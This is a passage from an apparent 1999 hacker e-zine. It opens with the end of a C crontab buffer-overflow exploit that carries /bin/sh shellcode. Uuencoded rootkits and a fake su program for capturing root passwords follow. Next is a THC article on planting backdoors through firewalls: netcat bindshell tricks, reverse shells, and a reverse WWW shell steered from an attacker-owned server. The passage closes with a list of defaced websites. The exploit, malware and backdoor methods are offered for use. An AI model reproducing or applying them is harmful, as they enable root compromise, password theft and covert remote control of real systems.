         "\x31\xd2"
         "\x89\x56\x07"
         "\x89\x56\x0f"
         "\x89\x56\x14"
         "\x88\x56\x19"
         "\x31\xc0"
         "\xb0\x3b"
         "\x8d\x4e\x0b"
         "\x89\xca"
         "\x52"
         "\x51"
         "\x53"
         "\x50"
         "\xeb\x18"
         "\xe8\xd8\xff\xff\xff"
         "/bin/sh"
         "\x01\x01\x01\x01"
         "\x02\x02\x02\x02"
         "\x03\x03\x03\x03"
         "\x9a\x04\x04\x04\x04\x07\x04";
         
       
        
      /*
       * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
       * a '=' character appears below
       */
       
         
         int i;
         int ofs = DEFAULT_OFFSET;
       
         /* if we have a argument, use it as offset, else use default */
         if(argc == 2)
            ofs = atoi(argv[1]);   
         else if (argc > 2) {
            fprintf(stderr, "egg [offset]\n");
            exit(-1);
         }
         /* print the offset in use */
         printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
         
         buff = malloc(4096);
         if(!buff)
         {
            printf("can't allocate memory\n");
            exit(0);
         }
         ptr = buff;
         /* fill start of buffer with nops */
         memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
         ptr += BUFFER_SIZE-strlen(execshell);
         /* stick asm code into the buffer */
         for(i=0;i < strlen(execshell);i++) 
            *(ptr++) = execshell[i];
         
         addr_ptr = (unsigned long *)ptr;
         for(i=0;i < (878/4);i++)
            *(addr_ptr++) = get_esp() + ofs;
         ptr = (char *)addr_ptr;
         *ptr++ = '=';
         *ptr++ = 'X';
         *ptr++ = '\n';
         *ptr = 0;
         printf("Writing to %s\n", HAPPY_FILE);
       
      /*
       * The sleep is required because as soon as crontab opens the tmp file it
       * stat's and saves it.  After the EDITOR program exists it stats again
       * and if they are equal then it assumes changes weren't made and exits.
       */
         fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
         write (fd, buff, strlen(buff));
       
         close(fd);
       
         execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); 
         /* Successful completion */
         exit(0);
      }
      ----------- cut here
      
      *********************************************
      * Appendix VI - UUENCODED FILES             *
      *********************************************
      
      1. Quantum's bindwarez utility uuencoded
      
      Bindwarez binary file for use with Quantum's PHF guide for login shells
      in the PHF section here.
      
      begin 664 binwarez.zip
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      `
      end
      
      2. Demon Root Kit - uuencoded
      
      This Root kit includes : Banish, DemonPing, DemonSu,
      and, DemonTelnet.
      
      
      section 1 of xxencode 5.15 of file demon.zip    by R.E.M.
      
      begin 644 demon.zip
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      h+++++++++E+U+9O-hdU++2FZPKxiJ4JgPaJo9qpVOKsiMp-9+E6I-VE++++6
      h+6UvvDFzEijXHk2++-o0+++I++++++++++2+6+0qUQCX++-2NKpjPZFZP4tZ
      hR0xBMKhZNaZgNJ-9+E6I-VE++++6+6UvvDHkdIm0f+U++0QG+++J++++++++
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      hIYJ-F2p39aFZPKxiR4JgPaJoI2g-+VE43+++++U+W1jgxBPltKYh0k++lW++
      h+-6++++++++++E+U+9O-tOw++2FZPKxiJ4JgPaJo9r7dPaQiMp-9+E6I-VE+
      h+++6+6UvvDF+sqQeOEM++1kC+++G++++++++++2+6+0qUI8v++-2NKpjPZFZ
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      h+++-+0++hc5PkE++F4JhPqtINKliNLEjQrZnLq7nN0tXI2g-+VE43+++++U+
      hW1jgx9mf1ZhMCE++EAw++-E++++++++++E+U+9O-eS6++2FZPKxiJ4JgPaJo
      h9rFZP4tZR0tXI2g-+VE43+++++U+W1jgx+RNQt0N++++DU2++-g+++++++++
      h+E+U+9O-Alk-+2FZPKxiJ4JgPaJo9rFZP4tZR3xXPqpkMLEiO3-9+E6I-VE+
      h+++6+6UvvDEv3RPPK+Y++7QJ+++K++++++++++2+6+0qUEIR+E-2NKpjPZFZ
      hP4tZR0xoNL7hOKtVP0tXI2g-+VE43+++++U+W1jgx4JNmfio1U++KmI++-E+
      h+++++++++E+U+9O-YGM-+2FZPKxiJ4JgPaJo9rFiAn6rA0tXI2g-+VE43+++
      h++U+W1jgxBS2x5am-+++B+Y++-A++++++++++E+U+9O-RnI-+2FZPKxiJ4Jg
      hPaJo9rFtQ4Jn9aVEGk203+MI++++0+06CynofMF8AvcJ++-NJE++3k++++++
      h+++-+0++hc3OCU2+F4JhPqtINKliNLEjRLFdP4ZoOKJn9aBEGkI4+++++-o+
      A5E-I-k++GJ+-++++
      +
      end
      sum -r/size 30187/121254 section (from "begin" to "end")
      sum -r/size 44118/87987 entire input file
      
      3. Linux Root Kit - uuencoded
      
      This linux root kit includes: Login, Netstat, Old Netstat, and, PS.
      
      begin 664 lroot.zip
      M4$L#!`H``````+2^1"+=R\9L*````"@````.````;&EN=7@N<F]O="YK:714
      M:&ES(&ES('1H92!L:6YU>"!R;V]T(&MI="`M(&AA=F4@<'5N(0T*4$L#!`H`
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      *?`T``%-A`0````$`
      `
      end
      
      4. Fack SU program - For getting the root password.
      
      begin 644 fakesu.zip
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      `
      end
      
      @HWA       
      
69.0  Placing Backdoors Through Firewalls [THC] 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
      
      ---[ Placing Backdoors Through Firewalls ]--- 
                                                   v1.5 
      
      
      
                                             Author: van Hauser / THC
      
      
      
      
      ----[ Introduction 
      
      This article describes possible backdoors through different firewall architectures. However, the material can also be applied to other
      environments to describe how hackers (you?) cover their access to a system. 
      
      Hackers often want to retain access to systems they have penetrated even in the face of obstacles such as new firewalls and patched
      vulnerabilities. To accomplish this the attackers must install a backdoor which a) does it's job and b) is not easily detectable. The kind
      of backdoor needed depends on the firewall architecture used. 
      
      As a gimmick and proof-of-concept, a nice backdoor for any kind of intrusion is included, so have fun. 
      
      
      
      
      ----[ Firewall Architectures 
      
      There are two basic firewall architectures and each has an enhanced version. 
      
      Packet Filters:
      
                This is a host or router which checks each packet against an allow/deny ruletable before routing it through the correct
                interface. There are very simple ones which can only filter from the origin host, destination host and destination port, as
                well as good ones which can also decide based on incoming interface, source port, day/time and some tcp or ip flags.
                This could be a simple router, f.e. any Cisco, or a Linux machine with firewalling activated (ipfwadm). 
      
      Stateful Filters: 
      
                This is the enhanced version of a packet filter. It still does the same checking against a rule table and only routes if
                permitted, but it also keeps track of the state information such as TCP sequence numbers. Some pay attention to
                application protocols which allows tricks such as only opening ports to the interiour network for ftp-data channels which
                were specified in a permitted ftp session. These filters can (more or less) get UDP packets (f.e. for DNS and RPC)
                securely through the firewall. (Thats because UDP is a stateless protocol. And it's more difficult for RPC services.)
                This could be a great OpenBSD machine with the ip-filter software, a Cisco Pix, Watchguard, or the (in)famous
                Checkpoint FW-1. 
      
      Proxies / Circuit Level Gateways: 
      
                A proxy as a firewall host is simply any server which has no routing activated and instead has proxy software installe. 
                Examples of proxy servers which may be used are squid for WWW, a sendmail relay configuration and/or just a sockd. 
      
      Application Gateways: 
      
                This is the enhanced version of a proxy. Like a proxy, for every application which should get through the firewall a
                software must be installed and running to proxy it. However, the application gateway is smart and checks every request
                and answer, f.e. that an outgoing ftp only may download data but not upload any, and that the data has got no virus, no
                buffer overflows are generated in answers etc. One can argue that squid is an application gateway, because it does
                many sanity checks and let you filter stuff but it was not programmed for the installation in a secure environment and
                still has/had security bugs.
                A good example for a freeware kit for this kind is the TIS firewall toolkit (fwtk). 
      
      Most firewalls that vendors sell on the market are hybrid firwalls, which means they've got more than just one type implemented; for
      example the IBM Firewall is a simple packet filter with socks and a few proxies. I won't discuss which firewall product is the best,
      because this is not a how-to-by-a-firewall paper, but I will say this: application gateways are by far the most secure firewalls, although
      money, speed, special protocols, open network policies, stupidity, marketing hype and bad management might rule them out. 
      
      
      ----[ Getting in 
      
      Before we talk about what backdoors are the best for which firewall architecture we should shed a light on how to get through a
      firewall the first time. Note that getting through a firewall is not a plug-n-play thing for script-kiddies, this has to be carefully planned
      and done. 
      
      The four main possibilities: 
      
      Insider: 
      
                There's someone inside the company (you, girl/boy-friend, chummer) who installs the backdoor. This is the easiest way
                of course. 
      
      Vulnerable Services: 
      
                Nearly all networks offer some kind of services, such as incoming email, WWW, or DNS. These may be on the firewall
                host itself, a host in the DMZ (here: the zone in front of the firewall, often not protected by a firewall) or on an internal
                machine. If an attacker can find a hole in one of those services, he's got good chances to get in. You'd laugh if you'd
                see how many "firewalls" run sendmail for mail relaying ... 
      
      Vulnerable External Server: 
      
                People behind a firewall sometimes work on external machines. If an attacker can hack these, he can cause serious
                mischief such as the many X attacks if the victim uses it via an X-relay or sshd. The attacker could also send fake ftp
                answers to overflow a buffer in the ftp client software, replace a gif picture on a web server with one which crashs
                netscape and executes a command (I never checked if this actually works, it crashs, yeah, but I didn't look through this
                if this is really an exploitable overflow). There are many possibilities with this but it needs some knowledge about the
                company. However, an external web server of the company is usually a good start. Some firewalls are configured to
                allow incoming telnet from some machines, so anyone can sniff these and get it. This is particulary true for the US,
                where academic environments and industry/military work close together. 
      
      Hijacking Connections: 
      
                Many companies think that if they allow incoming telnet with some kind of secure authentication like SecureID (secure
                algo?, he) they are safe. Anyone can hijack these after the authentication and get in ... Another way of using hijacked
                connections is to modify replies in the protocol implementation to generate a buffer overflow (f.e. with X). 
      
      Trojans: 
      
                Many things can be done with a trojan horse. This could be a gzip file which generates a buffer overflow (well, needs
                an old gzip to be installed), a tar file which tampers f.e. ~/.logout to execute something, or an executable or source code
                which was modified to get the hacker in somehow. To get someone running this, mail spoofing could be used or
                replacing originals on an external server which internal employees access to update their software regulary (ftp xfer
                files and www logs can be checked to get to know which files these are). 
      
      
      
      
      ----[ Placing the Backdoors 
      
      An intelligent hacker will not try to put the backdoors on machines in the firewall segment, because these machines are usually
      monitored and checked regulary. It's the internal machines which are usually unprotected and without much administration and
      security checks. 
      
      I will now talk about some ideas of backdoors which could be implemented. Note that programs which will/would run on an stateful
      filter will of course work with a normal packet filter too, same for the proxy. Ideas for an application gateway backdoor will work for
      any architecture.
      Some of them are "active" and others "passive". "Active" backdoors are those which can be used by a hacker anytime he wishes, a
      "passive" one triggers itself by time/event so an attacker has to wait for this to happen. 
      
      Packet Filters: 
      
                It's hard to find a backdoor which gets through this one but does not work for any other. The few ones which comes
                into my mind
                is a) the ack-telnet. It works like a normal telnet/telnetd except it does not work with the normal tcp handshake/protocol
                but uses TCP ACK packets only. Because they look like they belong to an already established (and allowed)
                connection, they are permitted. This can be easily coded with the spoofit.h of Coder's Spoofit project
                (http://reptile.rug.ac.be/~coder).
                b) Loki from Phrack 49/51 could be used too to establish a tunnel with icmp echo/reply packets. But some coding would
                be needed to to be done.
                c) daemonshell-udp is a backdoor shell via UDP
                (http://r3wt.base.org look for thc-uht1.tgz)
                d) Last but not least, most "firewall systems" with only a screening router/firewall let any incoming tcp connection from
                the source port 20 to a highport (>1023) through to allow the (non-passive) ftp protocol to work. "netcat -p 20 target
                port-of-bindshell" is the fastest solution for this one. 
      
      Stateful Filters: 
      
                Here a hacker must use programs which initiates the connection from the secure network to his external 0wned server.
                There are many out there which could be used:
                active:
                     tunnel from Phrack 52.
                     ssh with the -R option (much better than tunnel ... it's a legtimitate program on a computer and it encrypts the
                     datastream). 
                passive:
                     netcat compiled with the execute option and run with a time option to connect to the hacker machine
                     (ftp.avian.org).
                     reverse_shell from the thc-uht1.tgz package (see above) does the same. 
      
           Proxies / Circuit Level Gateways: 
                     If socks is used on the firewall, someone can use all those stuff for the stateful filter and "socksify" them.
                     (www.socks.nec.com) For more advanced tools you'd should take a look at the application gateway section. 
      
           Application Gateways: 
                     Now we get down to the interesting stuff. These beasts can be intelligent so some brain is needed.
                     active:
                          (re-)placing a cgi-script on the webserver of the company, which allows remote access. This is unlikely
                          because it's rare that the webserver is in the network, not monitored/ checked/audited and accessible from
                          the internet. I hope nobody needs an example on such a thing ;-)
                          (re-placing) a service/binary on the firewall. This is dangerous because those are audited regulary and
                          sometimes even sniffed on permanent ...
                          Loading a loadable module into the firewall kernel wich hides itself and gives access to it's master. The
                          best solution for an active backdoor but still dangerous. 
                     passive:
                          E@mail - an email account/mailer/reader is configured in a way to extract hidden commands in an email
                          (X-Headers with weird stuff) and send them back with output if wanted/needed.
                          WWW - this is hard stuff. A daemon on an internal machine does http requests to the internet, but the
                          requests are in real the answers of commands which were issued by a rogue www server in a http reply.
                          This nice and easy beast is presented below (->Backdoor Example: The Reverse WWW Shell)
                          DNS - same concept as above but with dns queries and replies. Disadvantage is that it can not carry much
                          data. (http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this example needs still much coding to be any
                          effective) 
      
      
      
      
           ----[ Backdoor Example: The Reverse WWW Shell 
      
           This backdoor should work through any firewall which has got the security policy to allow users to surf the WWW (World
           Wide Waste) for information for the sake and profit of the company.
           For a better understanding take a look at the following picture and try to remember it onwards in the text: 
      
      
      
            +--------+                    +------------+              +-------------+
      
      
            |internal|--------------------|  FIREWALL  |--------------|server owned |
      
      
            |  host  |  internal network  +------------+   internet   |by the hacker|
      
      
            +--------+                                                +-------------+
      
      
              SLAVE                                                        MASTER
      
      
      
           Well, a program is run on the internal host, which spawns a child every day at a special time. For the firewall, this child acts
           like a user, using his netscape client to surf on the internet. In reality, this child executes a local shell and connects to the www
           server owned by the hacker on the internet via a legitimate looking http request and sends it ready signal. The legitimate
           looking answer of the www server owned by the hacker are in reality the commands the child will execute on it's machine it
           the local shell. All traffic will be converted (I'll not call this "encrypted", I'm not Micro$oft) in a Base64 like structure and given
           as a value for a cgi-string to prevent caching. 
      
      
      
           Example of a connection:
      
      
      
      
      
           Slave
      
      
           GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0
      
      
      
      
      
           Master replies with
      
      
           g5mAlfbknz
      
      
      
           The GET of the internal host (SLAVE) is just the command prompt of the shell, the answer is an encoded "ls" command from
           the hacker on the external server (MASTER). Some gimmicks:
      
           The SLAVE tries to connect daily at a specified time to the MASTER if wanted; the child is spawned because if the shell
           hangs for whatever reason you can check & fix the next day; if an administrator sees connects to the hacker's server and
           connects to it himself he will just see a broken webserver because there's a Token (Password) in the encoded cgi GET
           request; WWW Proxies (f.e. squid) are supported; program masks it's name in the process listing ... 
      
           Best of all: master & slave program are just one 260-lines perl file ... Usage is simple: edit rwwwshell.pl for the correct values,
           execute "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl" on the MASTER just before it's time that the slave
           tries to connect. 
      
           Well, why coding it in perl? a) it was very fast to code, b) it's highly portable and c) I like it. If you want to use it on a system
           which hasn't got perl installed, search for a similar machine with perl install, get the a3 compiler from the perl CPAN archives
           and compile it to a binary. Transfer this to your target machine and run that one. 
      
           The code for this nice and easy tool is appended in the section THE CODE after my last words. If you've got
           updates/ideas/critics for it drop me an email. If you think this text or program is lame, write me at root@localhost. Check out
           http://r3wt.base.org for updates. 
      
      
           ----[ The Source 
      
           Grab it here ...
      
                rwwwshell v1.6
      
      
      
           ----[ Security 
      
           Now it's an interesting question how to secure a firewall to deny/detect this. It should be clear that you need a tight application
           gateway firewall with a strict policy. email should be put on a centralized mail server, and DNS resolving only done on the
           WWW/FTP proxies and access to WWW only prior proxy authentication. However, this is not enough. An attacker can
           tamper the mailreader to execute the commands extracted from the crypted X-Headers or implement the http authentication
           into the reverse www-shell (it's simple). Also checking the DNS and WWW logs/caches regulary with good tools can be
           defeated by switching the external servers every 3-20 calls or use aliases. 
      
           A secure solution would be to set up a second network which is connected to the internet, and the real one kept seperated - but
           tell this the employees ... A good firewall is a big improvement, and also an Intrusion Detection Systems can help. But nothing
           can stop a dedicated attacker. 
      
      
      
      
      
      
           ----[  Last Words
      
      
      
      
      
           Have fun hacking/securing the systems ...
      
      
           Greets to all guys who like + know me ;-) and especially to those good
      
      
           chummers I've got, you know who you are.
      
      
      
      
      
           Ciao...
      
      
                           van Hauser / [THC] - The Hacker's Choice
      
      
      
      
      
      
      
      
           For further interesting discussions you can email me at
      
      
           vh@reptile.rug.ac.be with my public pgp key blow:
      
      
      
      
      
           Type Bits/KeyID    Date       User ID
      
      
           pub  2048/CDD6A571 1998/04/27 van Hauser / THC 
      
      
      
      
      
           -----BEGIN PGP PUBLIC KEY BLOCK-----
      
      
           Version: 2.6.3i
      
      
      
      
      
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           XL1M4DwqDvPz5QUQ+U+VHuNOUzgxfcjhHsjJj2qorVZ/T5x4k3U960CMJ11eOVNC
      
      
           meD/+c6a2FfLZJG0sJ/kIZ9HUkY/dvXDInOJaalQc1mYjkvfcPsSzas4ddiXiDyc
      
      
           QcKX+HAXIdmT7bjq5+JS6yspnBvIZC55tB7ci2axTjwpkdzJBZIkCoBlWsDXNwyq
      
      
           s70Lo3H9dcaNt4ubz5OMVIvJHFMCEtIGS83WpXEABRG0J3ZhbiBIYXVzZXIgLyBU
      
      
           SEMgPHZoQHJlcHRpbGUucnVnLmFjLmJlPokAlQMFEDVE0D7Kb9wCOxiMfQEBvpAD
      
      
           /3UCDgJs1CNg/zpLhRuUBlYsZ1kimb9cbB/ufL1I4lYM5WMyw+YfGN0p02oY4pVn
      
      
           CQN6ca5OsqeXHWfn7LxBT3lXEPCckd+vb9LPPCzuDPS/zYNOkUXgUQdPo69B04dl
      
      
           C9C1YXcZjplYso2q3NYnuc0lu7WVD0qT52snNUDkd19ciQEVAwUQNUTQDhLSBkvN
      
      
           1qVxAQGRTwgA05OmurXHVByFcvDaBRMhX6pKbTiVKh8HdJa8IdvuqHOcYFZ2L+xZ
      
      
           PAQy2WCqeakvss9Xn9I28/PQZ+6TmqWUmG0qgxe5MwkaXWxszKwRsQ8hH+bcppsZ
      
      
           2/Q3BxSfPege4PPwFWsajnymsnmhdVvvrt69grzJDm+iMK0WR33+RvtgjUj+i22X
      
      
           lpt5hLHufDatQzukMu4R84M1tbGnUCNF0wICrU4U503yCA4DT/1eMoDXI0BQXmM/
      
      
           Ygk9bO2Icy+lw1WPodrWmg4TJhdIgxuYlNLIu6TyqDYxjA/c525cBbdqwoE+YvUI
      
      
           o7CN/bJN0bKg1Y/BMTHEK3mpRLLWxVMRYw==
      
      
           =MdzX
      
      
           -----END PGP PUBLIC KEY BLOCK-----
      
      
      
           ----[ THE END 
      
      @HWA      
         
             
      -=----------=-         -=----------=-        -=----------=-       -=----------=- 
           
           
           
           
                                             O
                                             0
                                             o
                                           O O O   
                                             0


     -=----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
      
     END of main news articles content... read on for ads, humour, hacked websites etc
              
     -=----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
     
     
         
            
                                HWA.hax0r.news  
     
     
     
     
     
AD.S  ADVERTI$ING.           The HWA black market                    ADVERTISEMENT$.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
       *****************************************************************************
       *                                                                           *
       *           ATTRITION.ORG     http://www.attrition.org                      *
       *           ATTRITION.ORG     Advisory Archive, Hacked Page Mirror          *
       *           ATTRITION.ORG     DoS Database, Crypto Archive                  *
       *           ATTRITION.ORG     Sarcasm, Rudeness, and More.                  * 
       *                                                                           *
       *****************************************************************************      
              
 
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       vin.com www.kev#  Support 2600.com and the Free Kevin #.com www.kevinmitnick.
       com www.2600.co#  defense fund site, visit it now! .  # www.2600.com www.free
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       <a href="http://www.2600.com/">www.2600.com</a>
       <a href="http://www.kevinmitnick.com></a>
       
       
       +-----------------------------------------------------------------------------+
       | SmoG Alert ..           http://smog.cjb.net/        NEWS on SCIENCE         |
       | ===================     http://smog.cjb.net/        NEWS on SECURITY        |
       | NEWS/NEWS/NEWS/NEWS     http://smog.cjb.net/        NEWS on THE NET         |
       |                         http://smog.cjb.net/        NEWS on TECHNOLOGY      |
       +-----------------------------------------------------------------------------+
       
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
       *   www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net     *
    <a href="http://www.csoft.net">One of our sponsers, visit them now</a> www.csoft.net
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
       * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


         //////////////////////////////////////////////////////////////////////////////
        //  To place an ad in this section simply type it up and email it to        //
       //        hwa@press,usmc.net, put AD! in the subject header please. - Ed    //
      //////////////////////////////////////////////////////////////////////////////


     @HWA
     
       
              
             
HA.HA Humour and puzzles ...etc
      ~~~~~~~~~~~~~~~~~~~~~~~~~
                                                           Don't worry. worry a *lot*
     
      Send in submissions for this section please! ............c'mon, you KNOW you
      wanna...yeah you do...make it fresh and new...be famous...<sic>
      
        ____                 _ _                                 _             _ _
       / ___|  ___ _ __   __| (_)_ __  _   _  ___  _   _ _ __   / \   ___  ___(_|_)
       \___ \ / _ \ '_ \ / _` | | '_ \| | | |/ _ \| | | | '__| / _ \ / __|/ __| | |
        ___) |  __/ | | | (_| | | | | | |_| | (_) | |_| | |   / ___ \\__ \ (__| | |
       |____/ \___|_| |_|\__,_|_|_| |_|\__, |\___/ \__,_|_|  /_/   \_\___/\___|_|_|
                                       |___/      
                                 / \   _ __| |_
                                / _ \ | '__| __|
                               / ___ \| |  | |_
                              /_/   \_\_|   \__| TOO, for inclusion in future issues
                              
       Do the HWA logo etc and we'll showcase it here to show off your talents...remember
       the 80's? dig out those ascii editors and do yer best...                       
      
                                               _|
                           _|_|_|    _|_|    _|_|_|_|
                         _|    _|  _|    _|    _|
                         _|    _|  _|    _|    _|
                           _|_|_|    _|_|        _|_|
                               _|
                           _|_|
                                                _|      _|_|
                _|  _|_|    _|_|      _|_|    _|_|_|_|      _|
                _|_|      _|    _|  _|    _|    _|      _|_|
                _|        _|    _|  _|    _|    _|
                _|          _|_|      _|_|        _|_|  _|
                
                      
                      
      
                                       .       .
                                      / `.   .' \
                              .---.  <    > <    >  .---.
                              |    \  \ - ~ ~ - /  /    |
                               ~-..-~             ~-..-~
                           \~~~\.'                    `./~~~/
                 .-~~^-.    \__/                        \__/
               .'  O    \     /               /       \  \
              (_____,    `._.'               |         }  \/~~~/
               `----.          /       }     |        /    \__/
                     `-.      |       /      |       /      `. ,~~|
                         ~-.__|      /_ - ~ ^|      /- _      `..-'   f: f:
                              |     /        |     /     ~-.     `-. _||_||_
                              |_____|        |_____|         ~ - . _ _ _ _ _>
      
      
              __   __
             /  \./  \/\_
         __{^\_ _}_   )  }/^\
        /  /\_/^\._}_/  //  /
       (  (__{(@)}\__}.//_/__,____,_______,________.________,_____.___.___,______
        \__/{/(_)\_}  )\\ \\----,----,-----.---,-----.----,------,-----,-----.---
          (   (__)_)_/  )\ \>
           \__/     \__/\/\/
              \__,--'
       
           \__/      \__/       \__/       \__/       \__/       \__/       \__/
           (oo)      (o-)       (@@)       (xx)       (--)       (  )       (OO)
          //||\\    //||\\     //||\\     //||\\     //||\\     //||\\     //||\\
           bug       bug        bug/w      dead       bug       blind     bug after
                   winking    hangover     bug      sleeping     bug      seeing a
                                                                           female
                                                                            bug
      
      
                     .
                    .:.
                   .:::.
                  .:::::.
              ***.:::::::.***
         *******.:::::::::.*******
       ********.:::::::::::.********
      ********.:::::::::::::.********
      *******.::::::'***`::::.*******
      ******.::::'*********`::.******
       ****.:::'*************`:.****
         *.::'*****************`.*
         .:'  ***************    .
        .
                                       _________________________
                              /|  /|  |                         |
                              ||__||  |  HAX0R FOR HIRE         |
                             /   O O\__                         |
                            /          \ WILL HACK FOR FEWD!    |
                           /      \     \                       |
                          /   _    \     \ ---------------------
                         /    |\____\     \     ||
                        /     | | | |\____/     ||
                       /       \|_|_|/   |    __||
                      /  /  \            |____| ||
                     /   |   | /|        |      --|
                     |   |   |//         |____  --|
              * _    |  |_|_|_|          |     \-/
           *-- _--\ _ \     //           |
             /  _     \\ _ //   |        /
           *  /   \_ /- | -     |       |
             *      ___ c_c_c_C/ \C_c_c_c____________   _________
           
                              __________________
                            _/ ||                ~-_
                          ,/   //       /~-       /  ~-_  ________---------------//
        -----------------------------------\-------------------____________  __//
       O--------------                  ~~^ |                                 | ~|
       }======{--------\____________________|______________________________   |  |
       \===== / /~~~\ \ \                   |         ________________________|-~
        \----|  \___/ ||--------------------'----------|  \____/ //
              `______''                                 `_______'
      

       (Ascii art from V0iD magazine #7)         


       -


      
     @HWA
       
       
       
 SITE.1 
 
      http://blacksun.box.sk
      
      This is here again this week because it really deserves a good look, there are
      some great tutorials on this site, check it out! 
      
      
      You can Send in submissions for this section too if you've found (or RUN) a cool site...
       
        
       
      @HWA
       
         
         
  H.W Hacked websites 
      ~~~~~~~~~~~~~~~~

      Note: The hacked site reports stay, especially with some cool hits by
            groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed

          * Hackers Against Racist Propaganda (See issue #7)

     
      Haven't heard from Catharsys in a while for those following their saga visit
      http://frey.rapidnet.com/~ptah/ for 'the story so far'...
      
      Hacker groups breakdown is available at Attrition.org
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      check out http://www.attrition.org/mirror/attrition/groups.html to see who
      you are up against. You can often gather intel from IRC as many of these
      groups maintain a presence by having a channel with their group name as the
      channel name, others aren't so obvious but do exist.
      







      Greater Albany Public School District 8J (rh.8j.net) 
      Lake Abitibi Model Forest (www.lamf.net) 
      Golfing Spain (www.golfingspain.com) 
      Rosie (rosie.ourfamily.com) 
      Top 100 (www.top100.com) 
      East-West Corridor Communications (www.ewcc.com) 
      Mildew Removal Specialists (www.mildew.net) 
      K2 Mall (www.k2mall.com) 
      Queen City Corvette Club (www.queencitycorvette.com) 
      Rancho Mirage Homes (www.ranchomiragehomes.com) 
      Training Direct (www.training-direct.com) 
      Shuz (www.shuz.com) 
      Hyundai (www.hec.co.kr) 
      Media 2000 (www.media2000.se) 
      Petty Brook Farm (www.pettybrookfarm.com) 
      Bottle Cap Site (www.bottlecapsite.com) 
      
            
      
      [99.09.27] NT [the craft]            (dcmdw) Defense Logistics Agency (internet.dcmdw.dla.mil)
      [99.09.27] NT [fEAR-mE]              ASCD Org (chatserver.ascd.org
      [99.09.27] NT [fEAR-mE]              Foxy Net (www.foxynet.com)
      [99.09.27] NT [139_r00ted]           #3 Hoffman Bikes (www.hoffmanbikes.com)
      [99.09.27] Li [LevelSeven]           Journy-X (www.journyx.com)
      
      
      [99.09.28] NT [ytcracker]            Altamira International Bank (www.altabank.com)
      [99.09.28] NT [ytcracker]            Fun Caribbean (www.funcaribbean.com)
      [99.09.28] NT [Narcissus]        M K Mount Gay (www.mountgay.com)
      [99.09.28] NT [HIT2000]              Le Monde Pub (www.mondepub.fr)
      [99.09.28] NT [induce]               Trkiye'nin bir numarali televizyon kanali (www.atv.com.tr)
      [99.09.28] NT [fEAR-mE]              BT USA (www.btusa.com)
      [99.09.28] NT [ ]                    #4 Hoffman Bikes (www.hoffmanbikes.com)
      
      
      [99.09.29] Li [LevelSeven]           PNK (www.pnk.com)
      [99.09.29] Li [Pakistan HC]          DC ArtBeat (dc-artbeat.com)
      [99.09.29] HP [ ]                    Geofluids Engineering Lab, Seoul
      National University           (petro.snu.ac.kr)
      [99.09.29] BI [Zo0mer]               List Soft (www.listsoft.com)
      [99.09.29] So [wrLiner]          M   Ricor (www.art.ricor.ru)
      [99.09.29] Bf [D.A.M.]               Lost Search (www.lostsearch.com)         
      
      [99.09.30] BI [Mister-X]             DeltaNet (www2.deltanet.com)
      [99.09.30] NT [GOD]                  Crockett County School District
      (www.technology.crockett.k12.tn.us)
      [99.09.30] HP [hV2k]                 #2 Geofluids Engineering Lab, Seoul
      National University               (petro.snu.ac.kr)
      [99.09.30] So [mistuh clean]         Web Yes Singapore (singapore.webyes.com)
      [99.09.30] Li [ ]                    Suid Root (www.suidroot.org)
      [99.09.30] NT [139_r00ted]           PanAmSat Corporation (www.panamsat.com)
      
      [99.10.02] So [ ]                    Infin (AU) (www.infin.com.au)
      [99.10.02] NT [x-empt]               #2 Kinky Singles (www.kinkysingles.com)
      [99.10.02] So [ ]                    Macsoc (AU) (www.macsoc.com.au)
      [99.10.02] NT [Pakistan HC]          Alarm Link (www.alarmlink.com)
      [99.10.02] Li [HIT2000]              Lucent (FR) (www.lucent.fr)
      [99.10.02] NT [Narcissus]          K Auraweb (www.auraweb.com)
      [99.10.02] So [TREATY]               NKFU Edu (TW) (ccms.nkfu.edu.tw)

      
      
      http://www.attrition.org/mirror/attrition/
      
      
      [99.10.02] NT [139_r00ted]           Medical U.Penn (ebdc.med.upenn.edu)
      [99.10.02] NT [GOD]                  Luigi Foroni (www.luigiforoni.com)
      [99.10.02] NT [GOD]                  The Monophonics (www.themonophonics.org)


      
      
      [99.10.02] NT [bl0w team]            Bndes Gov (BR) (www.bndes.gov.br)
      [99.10.02] So [GOD]              M   Cicese (MX) (www.cicese.mx)
      [99.10.02] NT [xclamation]           Deliocesar (BR) (www.deliocesar.jor.br)
      [99.10.02] NT [139_r00ted]           Medical U.Penn (ebdc.med.upenn.edu)
      [99.10.02] NT [GOD]                  Luigi Foroni (www.luigiforoni.com)
